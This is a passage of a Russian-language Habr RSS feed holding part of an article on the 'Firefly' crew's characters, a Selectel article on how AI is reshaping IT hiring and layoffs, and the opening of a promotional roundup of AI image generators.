лишь Кейли способна во всех пробудить такое желание. Даже холодного Саймона она делает более человечным: только Кейли он озвучивает свои чувства. &lt;h3&gt;Джейн&lt;/h3&gt;&lt;p&gt;Идеальный наемник. Интересуется только деньгами, так его когда-то перекупил Мэл — просто предложил больше. Но постепенно капитан влияет и на него: Джейн не поддается на соблазн крупных сумм, а начинает верить в Мэла. &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7bd/ac0/006/7bdac00064bb7c5d118b3f2f5fc3bbfe.png alt=&#34;Порой Джейн даже бывает милым&#34; title=&#34;Порой Джейн даже бывает милым&#34; width=748 height=415 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7bd/ac0/006/7bdac00064bb7c5d118b3f2f5fc3bbfe.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7bd/ac0/006/7bdac00064bb7c5d118b3f2f5fc3bbfe.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Порой Джейн даже бывает милым&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В ситуации со странными пассажирами — Саймоном и Ривер — Джейн просто говорит «у капитана есть план». Да, наемник считает, что Мэл когда-то их сдаст и всё делает ради наживы, — но верит в него! &lt;h3&gt;Инара&lt;/h3&gt;&lt;p&gt;Ее мир — особенный. Она «компаньонка», тут отношения регулируются исключительно деньгами. Может, поэтому странное представление Мэла о справедливости и притягивает ее. И именно Мэл показывает ей, что не все продается и что она — не товар для толстосумов, а прекрасная девушка.&lt;p&gt;И как тут Мэлу не оказать на нее влияние? &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e46/315/012/e46315012bfb1b14456b0b509a82e58b.png alt=&#34;И как ей не производить впечатление на остальных?&#34; title=&#34;И как ей не производить впечатление на остальных?&#34; width=800 height=450 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e46/315/012/e46315012bfb1b14456b0b509a82e58b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e46/315/012/e46315012bfb1b14456b0b509a82e58b.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;И как ей не производить впечатление на остальных?&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Она умна, красива, обеспеченна, сама решает, как и с кем жить. И между богатым воздыхателем и бедным, но острым на язык и справедливым Мэлом она выберет последнего. Хотя и вопреки здравому смыслу.&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;— У вас странное чувство справедливости, капитан. Вы ударили человека за то, что я компаньонка, но сами называете меня так.&lt;/em&gt;&lt;p&gt;&lt;em&gt;— Я не уважаю твою работу, а он не уважает тебя. В этом разница.&lt;/em&gt;&lt;/blockquote&gt;&lt;h3&gt;Пастор Бук&lt;/h3&gt;&lt;p&gt;Самый таинственный персонаж сериала представляется пастором. &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e3c/924/97a/e3c92497a34188bee37d21f174a69178.png width=1365 height=757 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e3c/924/97a/e3c92497a34188bee37d21f174a69178.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e3c/924/97a/e3c92497a34188bee37d21f174a69178.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Он ходит в рясе, готов проповедовать и наставлять на путь истинный, но уже с первой серии поддается влиянию Мэла: не осуждает, что тот убил человека. &lt;p&gt;Когда пастора Бука серьезно ранят, Мэл говорит ему:&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;— Лежи и иронизируй.&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;И в этих словах весь характер пастора: немногословность, огромная сила и очень саркастичное отношение к жзни. Возможно, в сценарии было «лежи и агонизируй» — но такое не про пастора.&lt;h3&gt;Саймон и Ривер&lt;/h3&gt;&lt;p&gt;Брат и сестра из очень обеспеченной семьи, чьи судьбы почти разрушил Альянс. Ривер — одаренная девочка, ее забрали якобы для обучения. На самом деле ставили жуткие эксперименты, что сломало психику девушки. Она подавала через письма сигналы Саймону, тот считал и, рискуя всем (и отвалив солидную сумму), спас сестру.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a9f/67b/dff/a9f67bdff06a4e67a906ed38832d7b2c.png alt=&#34;Но её исцеление требует усилий &#34; title=&#34;Но её исцеление требует усилий &#34; width=1560 height=872 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a9f/67b/dff/a9f67bdff06a4e67a906ed38832d7b2c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a9f/67b/dff/a9f67bdff06a4e67a906ed38832d7b2c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Но её исцеление требует усилий &lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Они слишком умные, интеллигентные и воспитанные для такой команды — особенно Саймон с его статью и врачебным образованием. Но даже они постепенно поддаются влиянию кэпа и остальных. Саймон становится сильнее, эмоциональнее, учится выражать эти эмоции, а Ривер… Ривер не любит капитана, боится, избегает и видит в нем что-то скрытое от других. &lt;blockquote&gt;&lt;p&gt;&lt;em&gt;— Эта девчонка — ведьма!&lt;/em&gt;&lt;p&gt;&lt;em&gt;— Да, но она НАША ведьма&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;Постепенно Мэл к ней привыкает и даже готов рисковать командой, чтобы спасти девчонку. А Ривер, в свою очередь, тоже порой помогает. &lt;h3&gt;Деление мира на своих и чужих как важный элемент «Светлячка» &lt;/h3&gt;&lt;p&gt;Мир сериала ставит персонажей в конкретное положение: или с кем-то, или против кого-то, в одиночку закончишь разве что с разрезанным кончиком языка и неуемным желанием сеять мрак.&lt;p&gt;Поэтому команда, как только встречает кого-то «своего», защищает до конца, даже Джейн. Отличный пример — пятая серия, где Саймона и Ривер похищают жители одной деревеньки. Кэп сам их бросает и улетает, когда пастору необходим врач. Но в конце серии возвращается вместе со всеми и спасает брата с сестрой. &lt;blockquote&gt;&lt;p&gt;&lt;em&gt;— Капитан, почему вы вернулись?&lt;/em&gt;&lt;p&gt;&lt;em&gt;— Ты в моем экипаже.&lt;/em&gt;&lt;p&gt;&lt;em&gt;— Но я вам даже не нравлюсь&lt;/em&gt;&lt;p&gt;&lt;em&gt;— Ты — в моем экипаже. Тут и говорить не о чем.&lt;/em&gt;&lt;/blockquote&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/79b/f36/5b9/79bf365b9cf245567d8e3c0b2baf6636.png alt=&#34;Команда за обедом&#34; title=&#34;Команда за обедом&#34; width=608 height=302 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/79b/f36/5b9/79bf365b9cf245567d8e3c0b2baf6636.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/79b/f36/5b9/79bf365b9cf245567d8e3c0b2baf6636.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Команда за обедом&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Получается, у экипажа «Светлячка» правила предельно простые, Есть мы, есть они. Мы — свои, они — чужие, своих надо держаться. Но только ли из благородных побуждений? Иногда кажется, что капитаном руководит расчет: Саймон нужен как врач, с полезными связями Инары проще приземляться на разных планетах, у пастора Бука вовсе скрытые таланты — и тоже некислый нетворкинг. Однако каждый раз корыстные мотивы разбиваются о благородство капитана, готового пожертвовать жизнью ради спасения любого из команды. &lt;blockquote&gt;&lt;p&gt;А всё потому, что со мной люди, которые заботятся друг о друге, доверяют друг другу и не во всем ищут выгоду.&lt;/blockquote&gt;&lt;h3&gt;Приятная предсказуемость&lt;/h3&gt;&lt;p&gt;Характерна сериалу. Всё в рамках шаблонов и стереотипов, и это хорошо: сколько можно несчастные ломать и шатать? Рабочий же способ погрузиться во вселенную, где всё логично, последовательно и предсказуемо; где за «А» следует «Б», а если яблоко подкинуть — оно упадет. &lt;p&gt;Еще персонажи верят в добро, справедливость, сражаются друг за друга и всячески помогают, готовы жертвовать и идти до конца. Что же у нас тут: рыцарский роман — космический вестерн? &lt;p&gt;Ну да. Так и получается, что все перипетии — и в мире сериала, и в нашем — Малкольм Рейнольдс проходит с командой преданных друзей. И может победить хоть боссов FOX, хоть кого-то еще. &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/ru_mts/articles/1023448/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1023448</guid>
      <pubDate>Sat, 18 Apr 2026 08:01:25 +0000</pubDate>
    </item>
    <item>
      <title>Нет, ИИ вас не заменит. Вас заменит человек, работающий с ним</title>
      <link>https://habr.com/ru/companies/selectel/articles/1024490/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024490</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a73/c73/96f/a73c7396f9bc29ebaea23d443d829483.jpg width=2040 height=674 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a73/c73/96f/a73c7396f9bc29ebaea23d443d829483.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a73/c73/96f/a73c7396f9bc29ebaea23d443d829483.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Когда речь заходит об искусственном интеллекте и рынке труда, одни боятся потери работы, другие надеются на избавление от рутины. На самом деле, и то, и другое — крайности. Вайбкодеры есть, но они не заменили и не заменят полностью разработчиков, понимающих код. Нейрослоп, особенно в соцсетях, занял целую нишу короткого развлекательного контента, но так и не вытеснил из интернета контент от людей и для людей.&lt;p&gt;Вместе с тем, за последние несколько лет вокруг ИИ сформировался слой новых профессий — от инженеров, работающих с LLM, до специалистов, проектирующих взаимодействие человека с алгоритмами. И тут начинается что-то странное. С одной стороны, компании инвестируют миллиарды в ИИ и активно нанимают специалистов нового типа. С другой — все читают новости о сокращениях целых команд, уменьшении числа стартовых позиций и повышении планки входа. В результате работы меньше не становится, но найти ее сложнее, а ценность отдельных навыков резко возрастает.&lt;h2&gt;Новая инфраструктура&lt;/h2&gt;&lt;p&gt;Пожалуй, самое заметное изменение — формирование целого слоя профессий, которых раньше вообще не было. Причем речь идет не только о «технарях», а о гибридных ролях на стыке инженерии, дизайна и гуманитарных дисциплин. В центре этой экосистемы находятся роли, без которых ИИ-продукты просто не работают: LLM/AI Engineer, MLOps-инженер, AI Infrastructure/Inference Engineer и другие. Далее их условно обозначим как &lt;a href=&#34;https://selectel.ru/careers/all/vacancy/1580/?utm_source=habr.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=career_article_aijob_180426_content&#34;&gt;AI-инженеров&lt;/a&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/6ac/aac/da3/6acaacda3b0c2a960c0860e9a80d5e13.png alt=Источник title=Источник. width=900 height=755 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/6ac/aac/da3/6acaacda3b0c2a960c0860e9a80d5e13.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/6ac/aac/da3/6acaacda3b0c2a960c0860e9a80d5e13.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;a href=https://x.com/_avichawla/status/1969288713944646075&gt;&lt;em&gt;Источник&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Роли и задачи&lt;/h3&gt;&lt;p&gt;LLM/AI Engineer — это уже не классический ML-специалист, который обучает модели с нуля. Его задача — собрать рабочую систему из готовых компонентов: API моделей, RAG, инструментов и пайплайнов. Фактически, это инженер по «сборке интеллекта».&lt;p&gt;Если классический MLOps-инженер раньше занимался деплоем моделей, то в новой версии это человек, который оптимизирует стоимость инференса, управляет latency и строит устойчивые пайплайны под нестабильные модели.&lt;p&gt;Отдельно выделяется AI Infrastructure Engineer — одна из самых дорогих и дефицитных ролей. Это специалисты, которые работают на уровне GPU, распределенных вычислений и оптимизации моделей (квантование, батчинг, кеширование). Они напрямую влияют на экономику продукта.&lt;p&gt;AI Product Manager управляет вероятностной системой. Ему приходится балансировать между качеством ответа модели, стоимостью запросов и пользовательским опытом. Другими словами, если вам не нравится качество и скорость ответа бесплатной LLM, но все устраивает в ее платной версии (кроме, может, цены подписки), то «здесь точно был AI Product Manager».&lt;p&gt;AI Interaction Designer — по сути, UX-дизайнер нового поколения. Он проектирует поведение системы: как формулируются ответы, как система задает вопросы и как она ошибается. Это уже ближе к сценарию диалога, чем к классическому UI.&lt;p&gt;Prompt Engineer — самая хайповая и одновременно самая быстро эволюционирующая роль. Изначально это был почти «копирайтер для модели», но сейчас роль распадается на две ветки: &lt;ul&gt;&lt;li&gt;&lt;p&gt;простая — уходит в инструменты и автоматизацию;&lt;li&gt;&lt;p&gt;сложная — встраивается в инженерные роли как часть пайплайна. &lt;/ul&gt;&lt;p&gt;В чистом виде это не совсем профессия, а скорее набор навыков, которые становятся базовыми для многих других ролей.&lt;div class=floating-image&gt;&lt;figure class=float&gt;&lt;img src=https://habrastorage.org/getpro/habr/upload_files/25f/5de/847/25f5de8473175bbc297208a7f69590df.gif width=220 height=220 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/upload_files/25f/5de/847/25f5de8473175bbc297208a7f69590df.gif 780w,&#xA;       https://habrastorage.org/getpro/habr/upload_files/25f/5de/847/25f5de8473175bbc297208a7f69590df.gif 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Новые GPU в облаке Selectel от 196,09 ₽/час&lt;/strong&gt;&lt;p&gt;Видеокарты для ресурсоемких задач — NVIDIA® H100, H200, RTX™ 6000 Pro.&lt;p&gt;&lt;a href=&#34;https://selectel.ru/services/cloud/servers/?utm_source=habr.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=cloud_article_aijob_180426_banner_112_01_ord&#34;&gt;&lt;strong&gt;Подробнее →&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Следующий на очереди — AI Trainer / Human-in-the-loop специалист. Это человек, который размечает данные, корректирует ответы модели и формирует «поведение» системы. Это массовая, масштабируемая и часто низкооплачиваемая работа, которая лежит в основе «интеллекта» моделей. Фактически это скрытый человеческий слой под ИИ.&lt;p&gt;Параллельно появляется более сложная роль — Synthetic Data Engineer. Он уже не размечает данные, а создает их: генерирует обучающие выборки, симулирует редкие сценарии и улучшает качество моделей без реальных данных. &lt;p&gt;AI Auditor / AI Risk Specialist — проверяет наличие bias (предвзятости), юридические риски и соответствие регуляциям. Особенно активно эти роли растут в Европе, где регулирование ИИ становится жестче. Раньше продукты тестировали на баги, теперь — на этические и социальные последствия. Когда бюджет компании ограничен, от этой роли часто отказываются, поручая обязанности низкооплачиваемым AI-тренерам.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ed0/50e/a07/ed050ea073c9c2c7d0c3544615bca569.png alt=Источник title=Источник. width=800 height=735 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ed0/50e/a07/ed050ea073c9c2c7d0c3544615bca569.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ed0/50e/a07/ed050ea073c9c2c7d0c3544615bca569.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;a href=https://medium.com/@luis.ticas1/prompt-engineer-return-of-the-jedi-e9b6e617c14c&gt;&lt;em&gt;Источник&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2&gt;Что происходит с наймом&lt;/h2&gt;&lt;p&gt;Главным изменением на рынке труда в эпоху ИИ стало не сокращение количества вакансий как таковых, а изменение их структуры. Компании нанимают. Иногда даже активнее, чем раньше, но делают это иначе, осторожнее, точечнее и с куда более жесткими требованиями. Подход «наймем и обучим по ходу дела» для многих стал непозволительной роскошью.&lt;p&gt;Самый заметный и болезненный эффект — это исчезновение классической точки входа в профессию. Задачи, которые раньше выполняли джуны, сегодня все чаще автоматизируются. Написание типового кода, базовый анализ данных, подготовка отчетов, первичная обработка информации — все эти функции хорошо ложатся на современные языковые модели и внутренние AI-инструменты компаний. &lt;p&gt;Гигантские корпорации, о некоторых из которых мы еще поговорим ниже, все реже видят смысл в том, чтобы нанимать людей «на вырост». Проще и дешевле взять специалиста, который уже умеет работать в связке с ИИ и сразу приносит результат.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/47e/f29/20b/47ef2920bc72c2d96b9f5698b02fce6e.png alt=Источник title=Источник. width=1080 height=922 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/47e/f29/20b/47ef2920bc72c2d96b9f5698b02fce6e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/47e/f29/20b/47ef2920bc72c2d96b9f5698b02fce6e.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;a href=https://programmerhumor.io/programming-memes/stupid-ai-taking-jobs/&gt;&lt;em&gt;Источник&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Согласно ряду &lt;a href=https://medium.com/@sohail_saifi/67-of-entry-level-tech-jobs-just-vanished-the-industry-lied-to-an-entire-generation-7a89f622d2cc&gt;исследований&lt;/a&gt;, до 66% мировых компаний сокращают найм специалистов, которых потребуется обучать, и около 90% работодателей отмечают трансформацию или исчезновение базовых ролей.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1df/bc8/144/1dfbc8144a6e3aa239ef17a70314fa8e.png alt=Источник title=Источник. width=1142 height=1287 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1df/bc8/144/1dfbc8144a6e3aa239ef17a70314fa8e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1df/bc8/144/1dfbc8144a6e3aa239ef17a70314fa8e.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;a href=https://blog.dailydoseofds.com/p/8-key-llm-development-skills-for&gt;&lt;em&gt;Источник&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Эффект середины&lt;/h3&gt;&lt;p&gt;Еще один важный эффект — поляризация рынка. Верхний сегмент, связанный с разработкой, инфраструктурой и управлением AI-продуктами, продолжает расти: здесь высокий спрос, дефицит специалистов и рост зарплат.&lt;p&gt;Нижний сегмент, завязанный на рутинные и операционные задачи, напротив, испытывает давление из-за автоматизации. Но наиболее интересная зона — середина. Именно миддл-специалисты оказываются в ситуации неопределенности: их задачи частично автоматизируются, а частично усложняются до уровня, требующего уже более высокой квалификации. Вам тоже это напоминает ситуацию в духе «Ищем сеньора на зарплату миддла»?&lt;h3&gt;Новая логика найма&lt;/h3&gt;&lt;p&gt;Итак, попасть на работу в IT в 2026 все еще можно. Просто найм все чаще происходит под конкретные задачи. Исследования &lt;a href=https://www.hrdive.com/news/nearly-half-firms-willing-pay-premium-ai-skills-kpmg/816217/&gt;показывают,&lt;/a&gt; что наличие AI-навыков дает преимущество при отборе и ощутимую прибавку к зарплате (в среднем до 15%). Исчезает пространство, в котором можно было расти постепенно, допуская ошибки и набираясь опыта на простых задачах. Требования повышаются не только к знаниям, но и к скорости адаптации. И именно это создает кризис.&lt;h2&gt;Увольнения&lt;/h2&gt;&lt;p&gt;Если смотреть &lt;a href=https://www.trueup.io/layoffs&gt;на сухие данные&lt;/a&gt;, то сокращения в tech-секторе — это системное явление. В 2025 году глобально было сокращено около 246 000 сотрудников в технологическом секторе. Из них порядка 55 000 увольнений так или иначе связаны с ИИ. При этом с 2023 года ИИ &lt;a href=https://www.businessinsider.com/sneaky-truth-ai-layoffs-switcheroo-meta-microsoft-2026-3&gt;уже упоминался&lt;/a&gt; более чем в 70 000–90 000 кейсах увольнений. Очевидно, самые громкие кейсы и самые масштабные сокращения обычно происходят в компаниях из США, занимающих существенную часть IT-сектора.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f35/a86/90f/f35a8690ff01c0651e03a1166ed56931.png alt=Источник title=Источник. width=1185 height=690 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f35/a86/90f/f35a8690ff01c0651e03a1166ed56931.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f35/a86/90f/f35a8690ff01c0651e03a1166ed56931.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;a href=https://www.trueup.io/layoffs&gt;&lt;em&gt;Источник&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В 2026 динамика сохраняется: 40 000 сокращений за первые месяцы. Отдельный показатель — интенсивность увольнений. В 2025 году увольняли 674 человека в день, в 2026 — уже 926.&lt;p&gt;&lt;strong&gt;Цифры по сокращениям&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Atlassian — около 1 600 сотрудников (примерно 10%).&lt;li&gt;&lt;p&gt;Amazon — до 16 000.&lt;li&gt;&lt;p&gt;Block — около 4 000 (до 40%).&lt;li&gt;&lt;p&gt;Salesforce — около 4 000 сотрудников в поддержке.&lt;/ul&gt;&lt;p&gt;При этом важно, что даже в случаях, где ИИ явно присутствует, компании редко &lt;a href=&#34;https://www.businessinsider.com/epic-games-layoffs-ceo-says-ai-isnt-to-blame-2026-3?utm_source=chatgpt.com&#34;&gt;формулируют&lt;/a&gt; это как «замену людей». Обычно речь идет о «реструктуризации», «повышении эффективности», «перераспределении ресурсов в AI».&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/871/b16/dfb/871b16dfb8955e7e23c49f568160137c.png alt=Источник title=Источник. width=800 height=760 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/871/b16/dfb/871b16dfb8955e7e23c49f568160137c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/871/b16/dfb/871b16dfb8955e7e23c49f568160137c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;a href=https://programmerhumor.io/memes/layoffs&gt;&lt;em&gt;Источник&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Доля ИИ&lt;/h3&gt;&lt;p&gt;С одной стороны, десятки тысяч увольнений уже связаны с ИИ и доля таких кейсов растет. С другой, это все еще меньшинство от общего числа сокращений. Например, лишь около 7% увольнений в США в начале 2026 связаны с ИИ. CFO компаний &lt;a href=https://www.wsj.com/tech/ai/ai-admin-job-market-6a1c3436&gt;ожидают&lt;/a&gt; снижение штата всего на ~0,4% в 2026.&lt;p&gt;Массовые увольнения действительно идут. ИИ участвует в них, но редко как единственная причина. Чаще он выступает как катализатор решений. Компании сокращают избыточные команды, автоматизируют отдельные функции и инвестируют в искусственный интеллект. И в итоге получают &lt;a href=https://www.businessinsider.com/ai-agents-one-person-companies-china-openclaw-alibaba-president-2026-3&gt;возможность&lt;/a&gt; работать с меньшим числом людей.&lt;p&gt;Если раньше сокращения были циклическими, то теперь они становятся структурными. Это видно по двум признакам. Во-первых, увольнения происходят даже при росте выручки компаний. Во-вторых, высвобожденные ресурсы направляются не на найм, а на автоматизацию.&lt;h2&gt;Заключение&lt;/h2&gt;&lt;p&gt;Если собрать все вышесказанное вместе, возникает, на первый взгляд, противоречивая картина. Рынок труда не падает. Он растет, усложняется, дорожает, но при этом становится менее доступным. &lt;p&gt;В этом и заключается главный парадокс эпохи ИИ — возможностей становится больше, но воспользоваться ими может меньшее число людей. То есть спрос на кадры становится более избирательным. Ценятся специалисты, знающие ограничения моделей, способные интегрировать их в процессы и брать на себя более сложные задачи. Это смещает баланс в сторону узких компетенций. Возникает ситуация, в которой одни специалисты становятся значительно дороже, а другие теряют позиции, даже оставаясь в той же профессии.&lt;p&gt;В долгосрочной перспективе кризис занятости будет длиться до окончания периода адаптации. Работа меняется так быстро, что люди и образовательные системы не успевают подстроиться. Старые карьерные треки перестают приносить результаты, а новые еще не до конца сформированы. Именно поэтому рынок выглядит нестабильным. Он уже живет по новым правилам, но большинство участников все еще ориентируется на старые.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/selectel/articles/1024490/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024490</guid>
      <pubDate>Sat, 18 Apr 2026 08:00:19 +0000</pubDate>
    </item>
    <item>
      <title>Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно</title>
      <link>https://habr.com/ru/companies/ranvik/articles/1024820/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024820</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7d1/3c5/8e0/7d13c58e06f428531c75e18c6f859188.png alt=&#34;Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно&#34; title=&#34;Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно&#34; width=1536 height=1024 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7d1/3c5/8e0/7d13c58e06f428531c75e18c6f859188.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7d1/3c5/8e0/7d13c58e06f428531c75e18c6f859188.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Эпоха, когда для создания качественного контента требовались студия, дорогое оборудование и часы ретуши, официально подошла к концу.&lt;p&gt;Сегодня &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;нейросеть для генерации изображений&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;способна заменить полноценный продакшн: от создания реалистичных портретов до «проведения» виртуальных фотосессий в любых декорациях. ИИ-инструменты стали настолько совершенными, что отличить генерацию от реального снимка практически невозможно.&lt;p&gt;Разберем ТОП-5 нейросетей, которые позволяют создавать изображения, и подскажем, как использовать их для ваших личных и бизнес-задач.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/eef/3f5/e57/eef3f5e57427e1e8604d1a3ce76bdda5.png alt=&#34;Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно&#34; title=&#34;Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно&#34; width=1152 height=629 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/eef/3f5/e57/eef3f5e57427e1e8604d1a3ce76bdda5.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/eef/3f5/e57/eef3f5e57427e1e8604d1a3ce76bdda5.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Один промпт и 5 нейросетей для генерации изображений&lt;/h3&gt;&lt;p&gt;Можно бесконечно изучать спецификации моделей, но в мире генеративного искусства решает только финальный пиксель. 